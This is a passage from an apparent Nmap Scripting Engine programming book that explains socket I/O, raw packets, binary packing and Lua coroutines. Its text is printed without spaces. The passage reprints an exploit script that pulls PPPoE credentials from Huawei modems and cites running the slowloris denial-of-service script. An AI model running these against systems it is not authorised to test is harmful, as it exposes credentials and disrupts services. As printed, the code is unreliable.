Ifmorebytesarriveortheminimumisnotmet,thedatawillalsobestored.Thereceive_lines()methodworkssimilarly;justgivethenumberofexpectedlinesasthemainparameter.Rememberthatalineisanydatastringdelimitedbythenewlinecharacter(\n):

status,data=socket:receive_lines(3)

ClosingNSEsocketsClosingNSEsocketsisasstraightforwardasclosinganetworksocketinanyotherscriptinglanguage;wesimplyneedtocalltheclose()function.TheadvantageofusingNSE’serrorhandlingmechanismisthatwecaninvokethisfunctioninacatch-stylestatementtoproducescriptsthatareeasiertoread:

locals=nmap.new_socket()

try=nmap.new_try(function()s:close()end)

try(s:connect(host,port))

try(s:send("HelloNmaper!"))

data=try(s:receive())

s:close()

SeeChapter4,ExploringtheNmapScriptingEngineAPIandLibraries,formoreinformationonhandlingexceptionsgracefullywiththeNmapAPI.

Examplescript–sendingapayloadstoredinafileoveraNSEsocketThefollowingscriptillustrateshowtosendapayloadstoredinafilethroughanNSEsocket.SomepartswereremovedtofocusonthemethodsrelatedtotheI/Otasks.ThisscriptcreatesaUDPconnectiontosendapayloadstoredinafile.Thepayloadsentgeneratesaresponseinvulnerabledevicesthatisparsedanddisplayedintheresults.ThisisaperfectexampleofanNSEscriptthatusestheconnectstyletosendandreceiveinformationoverthenetwork.Thescriptcanbealsofoundathttps://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/huawei5xx-udp-info.nse.Anyway,hereisthescript:

description=[[

TriestoobtainthePPPoEcredentials,MACaddress,firmwareversionandIP

informationoftheaDSLmodems

HuaweiEcholife520,520b,530andpossiblyothersbyexploitingan

informationdisclosurevulnerabilityviaUDP.

ThescriptworksbysendingacraftedUDPpackettoport43690andthen

parsingtheresponsethatcontains

theconfigurationvalues.Thisexploithasbeenreportedtobeblockedin

someISPs,inthosecasestheexploitseemstoworkfineinlocalnetworks.

References:

*http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz

*http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-

disclosure

]]

author="PaulinoCalderon<calderon@websec.mx>"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"intrusive","vuln"}

localstdnse=require"stdnse"

localio=require"io"

localshortport=require"shortport"

HUAWEI_UDP_PORT=43690

PAYLOAD_LOCATION="nselib/data/huawei-udp-info"

portrule=shortport.portnumber(HUAWEI_UDP_PORT,"udp",{"open",

"open|filtered","filtered"})

load_udp_payload=function()

localpayload_l=nmap.fetchfile(PAYLOAD_LOCATION)

if(not(payload_l))then

stdnse.print_debug(1,"%s:Couldn'tlocatepayload%s",SCRIPT_NAME,

PAYLOAD_LOCATION)

return

end

localpayload_h=io.open(payload_l,"rb")

localpayload=payload_h:read("*a")

if(not(payload))then

stdnse.print_debug(1,"%s:Couldn'tloadpayload%s",SCRIPT_NAME,

payload_l)

ifnmap.verbosity()>=2then

return"[Error]Couldn'tloadpayload"

end

return

end

payload_h:flush()

payload_h:close()

returnpayload

end

---—send_udp_payload(ip,timeout)—Sendsthepayloadtoportandreturnsthe

response

---

send_udp_payload=function(ip,timeout,payload)

localdata

stdnse.print_debug(2,"%s:SendingUDPpayload",SCRIPT_NAME)

localsocket=nmap.new_socket("udp")

socket:set_timeout(tonumber(timeout))

localstatus=socket:connect(ip,HUAWEI_UDP_PORT,"udp")

if(not(status))thenreturnend

status=socket:send(payload)

if(not(status))then

socket:close()

return

end

status,data=socket:receive()

if(not(status))then

socket:close()

return

end

socket:close()

returndata

end

---

--MAIN

---

action=function(host,port)

localtimeout=stdnse.get_script_args(SCRIPT_NAME..".timeout")or3000

localpayload=load_udp_payload()

localresponse=send_udp_payload(host.ip,timeout,payload)

ifresponsethen

returnparse_resp(response)

end

end

UnderstandingadvancednetworkI/OAnotherpowerfulfeatureofNsockistheabilitytoprocessrawpacketswithawrappertoLibpcap.Libpcapprovidesaframeworkforuser-levelpacketcapturesthatisplatform-independentandveryrobust.NSEdevelopersthatneedtoreceiverawpacketsorsendpacketstotheIPandEthernetlayercandosothroughtheNmapAPI.

Inthissection,wewilllearnaboutthepcap_open,pcap_register,andpcap_receivemethods,whichareusedtoreceiverawpackets,andip_open,ip_send,ip_close,ethernet_open,ethernet_send,andethernet_close,whichareusedtosendrawframes.

OpeningasocketforrawpacketcaptureThefirststeptohandlingrawpacketsistoopenanNSEsocket.ImportthenmaplibraryandcreatearegularNSEsocketwithnew_socket.Theninvokethepcap_openmethod:

localnmap=require"nmap"

localsocket=nmap.new_socket()

socket:pcap_open("eth0",64,false,"tcp")

Thepcap_openmethodtakesthefollowingparameters:

device:Thisisadnet-styleinterfacesnaplen:Thisisthepacketlengthpromisc:ThisisaBooleanvalueindicatingwhethertheinterfaceshouldbeputinpromiscuousmodebpf:Thisisthebpf(BerkeleyPacketFilter)stringexpression

TipTolearnmoreaboutdnet,typethis:

$mandnet

Therunninginterfacecanbeobtainedusingthenmap.get_interface()method,orallinterfacescanbeobtainedusingnmap.list_interfaces().Let’slookatoneexample.Thefollowingmethod,getInterfaces,definedinthebroadcast-dhcp-discoverscriptobtainsalistandfilterstheavailableinterfaces:

--Getsalistofavailableinterfacesbasedonlinkandupfilters—--

@paramlinkstringcontainingthelinktypetofilter—@paramupstring

containingtheinterfacestatustofilter—@returnresulttablecontaining

thematchinginterfaces

localfunctiongetInterfaces(link,up)

if(not(nmap.list_interfaces))thenreturnend

localinterfaces,err=nmap.list_interfaces()

localresult

if(not(err))then

for_,ifaceinipairs(interfaces)do

if(iface.link==linkandiface.up==up)then

result=resultor{}

result[iface.device]=true

end

end

end

returnresult

end

Thescriptfirstcheckswhetherthereisarunninginterfacedetectedcorrectlywithnmap.get_interface;ifthereisn’tany,itcallsourgetInterfaces()method:

--firstcheckiftheusersuppliedaninterface

if(nmap.get_interface())then

interfaces={[nmap.get_interface()]=true}

else

interfaces=getInterfaces("ethernet","up")

end

ReceivingrawpacketsOncewehaveopenedanNSEsocketandsetittoreceiverawpackets,weusethepcap_receive()methodtoobtainthecapturedpacket.Asusual,thefirstreturnvaluewillbeaBooleanindicatingtheoperationstatus.Iftheoperationissuccessful,themethodwillreturnthepacketlength,datafromthesecondandthirdOSIlayers,andthepacketcapturetime.Iftheoperationfailsortimesout,anerrormessageisreturnedasthesecondreturnvalue:

status,len,l2_data,l3_data,time=socket:pcap_receive()

Thefollowingsnippetshowshowtheeaplibraryreceivesrawpacketsandprocessesthemtorespondtoidentityrequests:

pcap:pcap_open(iface.device,512,true,"etherproto0x888e")

...

local_,_,l2_data,l3_data,_=pcap:pcap_receive()

localpacket=eap.parse(l2_data..l3_data3)

ifpacketthen

ifpacket.eap.type==eap.eap_t.IDENTITYandpacket.eap.code==

eap.code_t.REQUESTthen

eap.send_identity_response(iface,packet.eap.id,"anonymous")

end

end

Sendingpacketsto/fromIPandEthernetlayersSendingpacketsto/fromtheIPandEthernetlayersrequiresadifferenttypeofsocketobjectthanthatforreadingrawpackets.FortunatelyinNSE,theprocedureisverysimilartoworkingwithconnection-orientedstylesockets.

Thenmap.new_dnet()methodmustbeusedtocreatesuchsocketobjects.ThenthehandleforworkingwithIPorEthernetframesmustbeobtainedbycallingip_open()orethernet_open(),respectively.Aftergettingthehandle,wecancallthemethodsthatsendtherawpackets:ip_send()andethernet_send().Finally,wemustclosethesocketwithip_close()orethernet_close().

Theip_send()methodtakestwoparameters:anIPv4orIPv6packetandthedestinationaddressasahosttableorstring:

dnet:ip_send(packet,dst)

Theethernet_send()methodtakesonlyoneparameter,whichistherawEthernetframetosend:

dnet:ethernet_send(packet)

Thefollowingisamethoddeclaredinsidetheeaplibrary.ItisresponsibleforcreatingandsendingEAPidentityresponsepackets.ItillustrateshowtoopenarawsocketobjecttosendEthernetframes:

send_identity_response=function(iface,id,identity)

ifnotifacethen

stdnse.print_debug(1,"nointerfacegiven")

return

end

localdnet=nmap.new_dnet()

localtb={src=iface.mac,type=eapol_t.PACKET}

localresponse=make_eap{header=tb,code=code_t.RESPONSE,type=

eap_t.IDENTITY,id=id,payload=identity}

dnet:ethernet_open(iface.device)

dnet:ethernet_send(response)

dnet:ethernet_close()

end

ManipulatingrawpacketsThebinandpacketNSElibrariesmustbementionednowbecausetheysupportmethodsthatareusefulwhenmanipulatingrawpacketsandgenerallywhenworkingwithnetworkI/Ooperations.Inthissection,wewilllearnaboutbinarydatastrings,handyconversionssupportedbythelibraries,andrawpacketandframegeneration.

PackingandunpackingbinarydataOnceyoustartworkingwithnetworkI/Ooperations,you’llquicklyrealizetheneedtoencodebinarydatastringscorrectly.NSEhasthebinlibrary(http://nmap.org/nsedoc/lib/bin.html)thathelpsuspackandunpackformattedbinarydatastrings.Thislibrarycontainsonlythepack()andunpack()methods.Wewilllearnhowflexibleandusefultheyare.

Thefollowingaretheoperatorcharacterssupportedbythelibrary:

H:HrepresentsahexstringB:Brepresentsabitstringx:xrepresentsanullbytez:zrepresentsazero-terminatedstringp:prepresentsastringprecededbya1-byteintegerlengthP:Prepresentsastringprecededbya2-byteintegerlengtha:arepresentsastringprecededbya4-byteintegerlengthA:Arepresentsastringf:frepresentsafloatd:drepresentsadoublen:nrepresentsaLuanumberc:crepresentsachar(1-byteinteger)CCbyte=representsanunsignedchar(1-byteunsignedinteger)s:srepresentsashortinteger(2-byteinteger)S:Srepresentsanunsignedshortinteger(2-byteunsignedinteger)i:irepresentsaninteger(4-byteinteger)I:Irepresentsanunsignedinteger(4-byteunsignedinteger)l:lrepresentsalonginteger(8-byteinteger)L:Lrepresentsanunsignedlonginteger(8-byteunsignedinteger)<:<representsalittleendianmodifier>:>representsabigendianmodifier=:=representsanativeendianmodifier

Thepack()methodisusedtoobtainabinarypackedstringformattedbythecharacteroperatorsandwithoperatorrepetitionsformattingthegivenparameters.Let’slookatsomeexamplesofitsusagetolearnhowhandyitis.Thepack(format,p1,p2,…)function’sargumentsareasfollows:

format:Formatstringp1,p2,…:Values

Inourmikrotik-routeros-brutescriptshowninChapter6,DevelopingBrute-forcePassword-auditingScripts,wecreatedthepacketcontainingtheloginquerytotheMikrotikAPI:

locallogin_pkt=bin.pack("cAcAcAx",0x6,"/login",0x0b,

"=name="..username,0x2c,"=response=00"..chksum)

Intheprevioussnippet,thecharacteroperatorsusedinthestringwerec,A,andxtoformatachar(1-byte),string,andnullbyte,respectively.Similarly,thecAxformatstringdefinesacharacterbytefollowedbyastringandanullbyteattheend.

NetworkI/Ooperationsrequireyoutooftendealwiththeendiannessoftheprotocol.Thebin.pack()methodisalsoperfectforthesecases.ThefollowinglineappliestheBig-endianmodifiertoabinarypayload:

localbin_payload=bin.pack(">A",arg.payload)

Similarly,thebin.unpack()methodcanbeusedtoextractvaluesfrombinarydatastrings:

localpos,len=bin.unpack(">S",data)

Thebin.unpack()method’sfirstreturnvalueisthepositionatwhichunpackingwasstoppedtoallowsubsequentcallstothemethod.Theunpack()method’sargumentsareasfollows:

format:Formatstringdata:Inputbinarydatastringinit:Startingpositionwithinthestring

Let’slookatamethodthatusesbin.unpacktoextractcertaininformationfromabinarydatastringobtainedfromapacket.Payattentiontohowittraversesthroughthedatastringbykeepingtrackofthereturnedpositionvalue.Somelineswereremovedtokeepitconcise:

functiondecodeField(data,pos)

localheader,len

localdef,_

localfield={}

pos,len=bin.unpack("C",data,pos)

pos,field.catalog=bin.unpack("A"..len,data,pos)\

—shouldbe0x0C

pos,_=bin.unpack("C",data,pos)

—charset,inmycase0x0800

pos,_=bin.unpack("S",data,pos)

pos,field.length=bin.unpack("I",data,pos)

pos,field.type=bin.unpack("A6",data,pos)

returnpos,field

end

TipThedocumentationstatesthat,onWindowsplatforms,packingvaluesgreaterthan263leadtotruncatingtheresultto263.

BuildingEthernetframesNSEhasalibrarynamedpacket(http://nmap.org/nsedoc/lib/packet.html)thathasmiscellaneousmethodsrelatedtomanipulatingrawpackets,frommethodsusedtobuildframesandheadersandcalculatechecksums,tomethodsusedtoobtainstringrepresentationsofpackets.Ifyoueverfindyourselfneedingtoconvertastringtoadotted-quadIPaddress,youarelikelytousethislibrary.

ThepacketlibraryhasmethodsthatcanbeusedtobuildEthernet,ICMP,andICMPv6frames,andIPv4andIPv6packets.Thebuildingprocessisverysimilarinallthesecases:

1. First,wecreatethepacketobject.2. Thenwesetfieldssuchassource,destinationaddress,andothers.3. Finally,webuildtheheaderandpacketorframe.

Thegeneratedpacketsarethensentwiththeip_send()orethernet_send()methodsdiscussedearlierinthischapter,intheSendingpacketsto/fromIPandEthernetlayerssection.

Let’sgothroughtheprocessofbuildinganEthernetframe.First,asalways,weincludeourlibraryandinitializeourpacketobject:

localpacket=require"packet"

localpckt=packet.Frame:new()

Nowwehavetheoptiontoaccessthefieldsdirectlyorthroughthesettermethodsavailableinthelibrary.Let’slookathowtheipv6-ra-flood.nsescriptbuildsanICMPv6frame:

localsrc_mac=packet.mactobin(random_mac())

localsrc_ip6_addr=packet.mac_to_lladdr(src_mac)

localprefix=packet.ip6tobin(get_random_prefix())

localpacket=packet.Frame:new()

packet.mac_src=src_mac

packet.mac_dst=dst_mac

packet.ip_bin_src=src_ip6_addr

packet.ip_bin_dst=dst_ip6_addr

localicmpv6_payload=build_router_advert(src_mac,prefix,prefix_len,

valid_time,preffered_time,mtu)

packet:build_icmpv6_header(134,0,icmpv6_payload)

packet:build_ipv6_packet()

packet:build_ether_frame()

Let’snowseeadifferentexample.Themake_eapol()method,whichisshownnext,usesthelibrarypackettocreateanewPacketobject,setdifferentfields,andbuildanEthernetframe:

localmake_eapol=function(arg)

ifnotarg.typethenarg.type=eapol_t.PACKETend

ifnotarg.versionthenarg.version=1end

ifnotarg.payloadthenarg.payload=""end

ifnotarg.srcthenreturnnilend

localp=packet.Frame:new()

p.mac_src=arg.src

p.mac_dst=packet.mactobin(ETHER_BROADCAST)

p.ether_type=ETHER_TYPE_EAPOL

localbin_payload=bin.pack(">A",arg.payload)

p.buf=bin.pack("C",arg.version)..bin.pack("C",arg.type)..

bin.pack(">S",bin_payload:len())..bin_payload

p:build_ether_frame()

returnp.frame_buf

end

RawpackethandlingandNSEsocketsYouarenowfamiliarwithNSEsocketsandrawpackethandling.Nowwewillreviewanexampleofeverythingwehaveseeninthischapterworkingtogetherinonescript.Thefollowingscript,broadcast-dhcp-discover.nse,illustratestheusageofconnection-orientedsockets,rawpacketreception,manipulation,andframebuilding.Paycloseattentiontothebin.pack(),pcap_receive(),andsendto()methodcalls,andthehelperfunctionsthatperformerrorcheckingduringscriptexecution.

Thescriptstartsbydeclaringitslibrarydependenciesandrequiredscriptfieldssuchasdescription,author,andcategories:

localbin=require"bin"

localcoroutine=require"coroutine"

localdhcp=require"dhcp"

localipOps=require"ipOps"

localmath=require"math"

localnmap=require"nmap"

localpacket=require"packet"

localstdnse=require"stdnse"

localstring=require"string"

localtable=require"table"

description=[[

SendsaDHCPrequesttothebroadcastaddress(255.255.255.255)andreports

theresults.ThescriptusesastaticMACaddress(DE:AD:CO:DE:CA:FE)while

doingsoinordertopreventscopeexhaustion.

Thescriptreadstheresponseusingpcapbyopeningalisteningpcapsocket

onallavailableethernetinterfacesthatarereportedup.Ifnoresponse

hasbeenreceivedbeforethetimeouthasbeenreached(default10seconds)

thescriptwillabortexecution.

Thescriptneedstoberunasaprivilegeduser,typicallyroot.

]]

---—@usage—sudonmap--scriptbroadcast-dhcp-discover——@output—|broadcast-

dhcp-discover:—|IPOffered:192.168.1.114—|DHCPMessageType:

DHCPOFFER—|ServerIdentifier:192.168.1.1—|IPAddressLeaseTime:1

day,0:00:00—|SubnetMask:255.255.255.0—|Router:192.168.1.1—|

DomainNameServer:192.168.1.1—|_DomainName:localdomain—--@args

broadcast-dhcp-discover.timeouttimeinsecondstowaitforaresponse—

(default:10s)——Version0.1—Created07/14/2011-v0.1-createdbyPatrik

Karlsson

author="PatrikKarlsson"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"broadcast","safe"}

Theexecutionruleusedinthisscriptisapre-rulethatchecksfortherequiredprivilegesandcompatibleaddressfamily:

prerule=function()

ifnotnmap.is_privileged()then

stdnse.print_verbose("%snotrunningforlackofprivileges.",

SCRIPT_NAME)

returnfalse

end

ifnmap.address_family()~='inet'then

stdnse.print_debug("%sisIPv4compatibleonly.",SCRIPT_NAME)

returnfalse

end

returntrue

end

ThescriptalsodefinestherandomizeMAC()andgetInterfaces(link,up)helperfunctions.TheytakecareofgeneratingfakeMACaddressesandselectingthecorrectinterfacetolistenon,respectively:

--CreatesarandomMACaddress—--@returnmac_addrstringcontaininga

randomMAC

localfunctionrandomizeMAC()

localmac_addr=""

forj=1,6do

mac_addr=mac_addr..string.char(math.random(1,255))

end

returnmac_addr

end

—Getsalistofavailableinterfacesbasedonlinkandupfilters—--@param

linkstringcontainingthelinktypetofilter—@paramupstringcontaining

theinterfacestatustofilter—@returnresulttablecontainingthematching

interfaces

localfunctiongetInterfaces(link,up)

if(not(nmap.list_interfaces))thenreturnend

localinterfaces,err=nmap.list_interfaces()

localresult

if(not(err))then

for_,ifaceinipairs(interfaces)do

if(iface.link==linkandiface.up==up)then

result=resultor{}

result[iface.device]=true

end

end

end

returnresult

end

Thehelperfunctiondhcp_listener(sock,timeout,xid,result)isdefinedtolistentoincomingDHCPresponses.ThisfunctionwillopenapacketcaptureinterfaceandparsetheresponseswiththehelpofthePacketlibrary:

--Listensforanincomingdhcpresponse—--@paramifacestringwiththe

nameoftheinterfacetolistento—@paramtimeoutnumberofmstowaitfor

aresponse—@paramxidtheDHCPtransactionid—@paramresultatableto

whichtheresultiswritten

localfunctiondhcp_listener(sock,timeout,xid,result)

localcondvar=nmap.condvar(result)

sock:set_timeout(100)

localstart_time=nmap.clock_ms()

while(nmap.clock_ms()-start_time<timeout)do

localstatus,_,_,data=sock:pcap_receive()

—abort,onceanotherthreadhaspickedupourresponse

if(#result>0)then

sock:close()

condvar"signal"

return

end

if(status)then

localp=packet.Packet:new(data,#data)

if(pandp.udp_dport)then

localdata=data:sub(p.udp_offset+9)

localstatus,response=dhcp.dhcp_parse(data,xid)

if(status)then

table.insert(result,response)

sock:close()

condvar"signal"

return

end

end

end

end

sock:close()

condvar"signal"

end

Finally,theactionfunctiontakescareofbuildingtheDHCPbroadcastrequestandcreatingworkerthreadsthatwillcalldhcp_listener()toparsetheresponses:

action=function()

localhost,port="255.255.255.255",67

localtimeout=stdnse.parse_timespec(stdnse.get_script_args("broadcast-

dhcp-discover.timeout"))

timeout=(timeoutor10)*1000

—randomizingtheMACcouldexhaustdhcpserverswithsmallscopes

—ifranmultipletimes,soweshouldprobablyrefrainfromdoing

—this?

localmac=string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()

localinterfaces

—firstcheckiftheusersuppliedaninterface

if(nmap.get_interface())then

interfaces={[nmap.get_interface()]=true}

else

—Astheresponsewillbesenttothe"offered"ipaddressweneed

—tousepcaptopickitup.However,wedon'tknowwhatinterface

—ourpacketwentouton,soletsgetalistofallinterfacesand

—runpcaponallofthem,ifthey'rea)upandb)ethernet.

interfaces=getInterfaces("ethernet","up")

end

if(not(interfaces))thenreturn"\nERROR:Failedtoretrieve

interfaces(trysettingoneexplicitlyusing-e)"end

localtransaction_id=bin.pack("<I",math.random(0,0x7FFFFFFF))

localrequest_type=dhcp.request_types["DHCPDISCOVER"]

localip_address=bin.pack(">I",ipOps.todword("0.0.0.0"))

—weneadtosettheflagstobroadcast

localrequest_options,overrides,lease_time=nil,{flags=0x8000},

nil

localstatus,packet=dhcp.dhcp_build(request_type,ip_address,mac,

nil,request_options,overrides,lease_time,transaction_id)

if(not(status))thenreturn"\nERROR:Failedtobuildpacket"end

localthreads={}

localresult={}

localcondvar=nmap.condvar(result)

—startalisteningthreadforeachinterface

foriface,_inpairs(interfaces)do

localsock,co

sock=nmap.new_socket()

sock:pcap_open(iface,1500,false,"ip&&udp&&port68")

co=stdnse.new_thread(dhcp_listener,sock,timeout,transaction_id,

result)

threads[co]=true

end

localsocket=nmap.new_socket("udp")

socket:bind(nil,68)

socket:sendto(host,port,packet)

socket:close()

—waituntilallthreadsaredone

repeat

forthreadinpairs(threads)do

ifcoroutine.status(thread)=="dead"thenthreads[thread]=nil

end

end

if(next(threads))then

condvar"wait"

end

untilnext(threads)==nil

localresponse={}

—Displaytheresults

fori,rinipairs(result)do

table.insert(response,string.format("IPOffered:%s",r.yiaddr_str))

for_,vinipairs(r.options)do

if(type(v['value'])=='table')then

table.insert(response,string.format("%s:%s",v['name'],

stdnse.strjoin(",",v['value'])))

else

table.insert(response,string.format("%s:%s\n",v['name'],

v['value']))

end

end

end

returnstdnse.format_output(true,response)

end

NoteYoucanfindbroadcast-dhcp-discoverinsidethescriptsfolderofyourNmapinstallation.

SummaryInthischapter,youlearnedallaboutperformingconnection-orientedandadvancednetworkI/OoperationswithNSEsockets.Rawpacketmanipulationcanbecomplexbut,aswehaveseen,itisverystraightforwardinNSE.Bynow,youshouldbeabletowritescriptsthatcommunicatewithotherhostswiththehelpoftheNmapAPIandthebinandpacketNSElibraries.Trywritingascriptthatcommunicateswithanunsupportedprotocoltoputinpracticethetopicscoveredhere.

Next,youwilllearnaboutparallelisminLuaandNSEtoachievecollaborativemultitasking.TheobjectiveofthefollowingchapterwillbetogiveyouthetoolsneededtocontroltheexecutionflowofworkerthreadsinsideyourNSEscripts,butdon’tstartthinkingaboutthreadsyet.Luacoroutinesaredifferentfromthreadsinpreemptivemultitasking.Keeponreadingtolearnthesedifferencesandhowtheycanhelpyourscripts.

Chapter9.ParallelismNSEscriptsareexecutedinsideLuathreads(onethreadperscript)inparallelwithoutdevelopershavingtoexplicitlydefinethisbehavior.However,theNmapScriptingEngine(NSE)supportsdifferentmechanismstoofferfinerexecutioncontroltodeveloperswhomaywanttoworkwithadditionalthreadstoperformmultiplenetworkoperationssimultaneously.Also,NSEautomaticallyexecutesnetworkI/Ooperationsinparallel.Executionofscriptsisnormallystoppedwhenanetworkreadtaskisperformedandthenyieldedback.Inordertoexpandoralterthisbehavior,wewillneedtousetheparallelismmechanismssupportedinNSE.

Inthischapter,youwilllearneverythingyouneedtoknowaboutparallelismwhendevelopingforNSE.Thischaptercoversthefollowingtopics:

CoroutinesinLuaConditionvariablesMutexesNSEthreadsOtherNmapoptionsaffectingparallelismduringscans

Hopefully,afterthischapter,youwillhavemasteredtheconceptsrelatedtoparallelisminLuaandNSE.Withthisknowledge,youwilleasilydistinguishthesituationswhereparallelismbenefitsorisevenrequiredinascript.Let’sstartbylookingatsomeexamplesandgetourhandsdirtywithparallelisminNSE.

ParallelismoptionsinNmapThenumberofscriptinstancethreadsrunningatthesametimeisaffectedbythenumberofopenportsandthesizeofthegroupbeingscannedsimultaneously.ThemaximumlimitofscriptinstancethreadsthatcanbehardcodedinNmap(nmap/nse_main.lua)is1,000,butthislimitdoesnottakeintoconsiderationthenewNSEthreadslaunchedbythescripts.AsanNSEdeveloper,itisimportantthatyouconsiderthis,especiallyifyouarecommunicatingwithanexternalservice,astoomanyconnectionsrunningsimultaneouslymightbanIPaddresses.

BeforewestartwiththeparallelismmechanismsavailableinLuaandNSE,let’sfocusontheNmapoptionsthataffectparallelisminscans.The--min-hostgroup,--max-hostgroup,--min-parallelism,and--max-parallelismoptionsworkasdescribedinthefollowingsections.

ScanningmultiplehostssimultaneouslyThe--min-hostgroupand--max-hostgroupNmapoptionscontrolthenumberofhostsprobedsimultaneously.Scanreportsareregeneratedbasedonthisvalue.Playwiththisvaluealittle,butdon’tforgettoenabledebuggingtoseetheresults.Weusethefollowingcommandsforscanreports:

$nmap-sC-F--min-hostgroup500<target>

$nmap-sC-F--max-hostgroup100<target>

$nmap-sC-F--min-hostgroup500--max-hostgroup800<target>

IncreasingthenumberofprobessentThe--min-paralellismand--max-parallelismNmapoptionscontrolthenumberofprobessentsimultaneously:

$nmap-sC-F--min-parallelism500<target>

Somescriptssuchashttp-slowloris.nserequireuserstosetthevalueof--max-parallelisminordertoworkcorrectly:

$nmap-p80--scripthttp-slowloris--max-parallelism400<target>

TimingtemplatesTimingtemplatesweredesignedasaliasesofdifferentoptimizationsettings.Currently,Nmapisshippedwithsixdifferenttemplates.Youcansetthemwiththe-T[0-5]Nmapoption:

#nmap-T4-sC<target>

---------------Timingreport---------------

hostgroups:min1,max100000

rtt-timeouts:init500,min100,max1250

max-scan-delay:TCP10,UDP1000,SCTP10

parallelism:min0,max0

max-retries:6,host-timeout:0

min-rate:0,max-rate:0

---------------------------------------------

KeepinmindthattimingtemplatesdoesnotchangethevaluesaffectingparallelisminNSE.Let’sseethetimingvaluesthatNmapreportsusing-T1and-T5:

Sneaky(-1):Thisgeneratesthefollowingreport:

---------------Timingreport---------------

hostgroups:min1,max100000

rtt-timeouts:init15000,min100,max15000

max-scan-delay:TCP1000,UDP1000,SCTP1000

parallelism:min0,max1

max-retries:10,host-timeout:0

min-rate:0,max-rate:0

---------------------------------------------

Insane(-5):Thisgeneratesthefollowingreport:

---------------Timingreport---------------

hostgroups:min1,max100000

rtt-timeouts:init250,min50,max300

max-scan-delay:TCP5,UDP1000,SCTP5

parallelism:min0,max0

max-retries:2,host-timeout:900000

min-rate:0,max-rate:0

---------------------------------------------

ParallelismmechanismsinLuaThissectioncoversaninterestingparallelismmechanisminLuacalledcoroutinesthatwillhelpusachievecollaborativemultitasking.

CoroutinesCoroutinesinLuaareaveryinterestingfeaturethatallowdeveloperstoexecutemultipletaskscooperatively.Eachcoroutinehasitsownexecutionstack,andtheyareusedinthebackgroundbyNSEtoencapsulatetheexecutionofitsscripts.Themainadvantageofusingcoroutinesistheabilitytosuspendandyieldexecutionoftasks.ItisimportanttounderstandthedifferencebetweencoroutinesinLuaandtraditionalthreadsinpreemptivemultitasking.Coroutinessharecontextdataand,therefore,mustbeusedtoreduceoverheadwhenworkingwithtasksthatsharealotofinformation.However,keepinmindthatonlyonetaskisexecutedatanygiventime.Tasksmustpasscontrolamongthemselvestoachievecollaborativemultithreading.

Acoroutinehasthreepossiblestates:

RunningSuspendedDead

Basically,theexecutionflowofcoroutinesiscontrolledwiththecoroutine.yield()andcoroutine.resume()functions,thoughthereareotheroperationsavailable.Theoperationsthatcanbeperformedoncoroutinesareasfollows:

coroutine.create(f):Thisfunctionisusedtocreatecoroutines.Itreturnsavalueofthethreadtype.coroutine.resume(co[,val1,···]):Thisfunctionchangesthestateofacoroutinefromsuspendedtorunning.coroutine.running():Thisfunctionreturnsthethreadthatiscurrentlyexecuting.coroutine.status(co):Thisfunctionreturnsthestatusofacoroutine.coroutine.wrap(f):Thisfunctionisusedasareplacementforcoroutine.create()andcoroutine.resume().coroutine.yield(···):Thisfunctionisusedtosuspendcoroutines.

Next,wewilllearnhowtoworkwithcoroutinesthroughsomeexamplesinLuascripts.

WorkingwithcoroutinesLet’sstartwithasimplescriptthatcreatestwocoroutinesthatexecuteiterationloopsandcooperativelycontroltheexecutionflow:

1. Firstly,tocreateacoroutine,wesimplycallcoroutine.create()withourworker’smainfunctionasanargument.Let’sexploreananonymousfunctionthatloops,printsacounter,andthenyieldsanothercoroutine:

co1=coroutine.create(

function()

fori=1,5do

print("coroutine#1:"..i)

coroutine.yield(co2)

end

end

)

2. Wewillcreateanothercoroutinewithexactlythesamefunctionalitybutadifferentidentifier:

co2=coroutine.create(

function()

fori=1,5do

print("coroutine#2:"..i)

coroutine.yield(co1)

end

end

)

3. Coroutinesstartinsuspendedmode,solet’ssetupanotherloopthatrunsthem:

fori=1,5do

coroutine.resume(co1)

coroutine.resume(co2)

end

4. Nowrunthescriptandcheckouttheoutput.Thefinalscriptlookslikethis:

#!/opt/local/bin/lua

co1=coroutine.create(

function()

fori=1,5do

print("coroutine#1:"..i)

coroutine.yield(co2)

end

end

)

co2=coroutine.create(

function()

fori=1,5do

print("coroutine#2:"..i)

coroutine.yield(co1)

end

end

)

fori=1,5do

coroutine.resume(co1)

coroutine.resume(co2)

end

5. Ifweexecutethescript,wewillgetthefollowingoutput:

$./coroutines_ex1.lua

coroutine#1:1

coroutine#2:1

coroutine#1:2

coroutine#2:2

coroutine#1:3

coroutine#2:3

coroutine#1:4

coroutine#2:4

coroutine#1:5

coroutine#2:5

6. Toidentifytherunningcoroutine,wecanusethecoroutine.running()function.Whatwillbetheoutputbeifweaddthefollowingcode?

co1=coroutine.create(

function()

fori=1,5do

print(coroutine.running())

print("coroutine#1:"..i)

coroutine.yield(co2)

end

end

)

Theoutputwillbesomethingsimilartothis:

thread:0x7fc26340a250 false

coroutine#1:1

thread:0x7fc26340a5a0 false

coroutine#2:1

thread:0x7fc26340a250 false

coroutine#1:2

thread:0x7fc26340a5a0false

coroutine#2:2

thread:0x7fc26340a250false

coroutine#1:3

thread:0x7fc26340a5a0false

coroutine#2:3

thread:0x7fc26340a250false

coroutine#1:4

thread:0x7fc26340a5a0false

coroutine#2:4

thread:0x7fc26340a250false

coroutine#1:5

thread:0x7fc26340a5a0false

coroutine#2:5

thread:0x7fc26340a250false

Let’screateanewversionofthescripttoillustratethedifferentstatesofcoroutinesandtheresultofthecoroutine.yield()operation:

#!/opt/local/bin/lua

co1=coroutine.create(

function()

fori=1,10do

print("Coroutine#1is"..coroutine.status(co1))

print("Coroutine#2is"..coroutine.status(co2))

print("coroutine#1:"..i)

coroutine.yield(co2)

end

end

)

co2=coroutine.create(

function()

fori=1,10do

print("Coroutine#1is"..coroutine.status(co1))

print("Coroutine#2is"..coroutine.status(co2))

print("coroutine#2:"..i)

coroutine.yield(co1)

end

end

)

fori=1,10do

coroutine.resume(co1)

coroutine.resume(co2)

end

Theoutputoftheprecedingscriptisasfollows:

$./coroutines_ex2.lua

Coroutine#1isrunning

Coroutine#2issuspended

coroutine#1:1

Coroutine#1issuspended

Coroutine#2isrunning

coroutine#2:1

Coroutine#1isrunning

Coroutine#2issuspended

coroutine#1:2

Coroutine#1issuspended

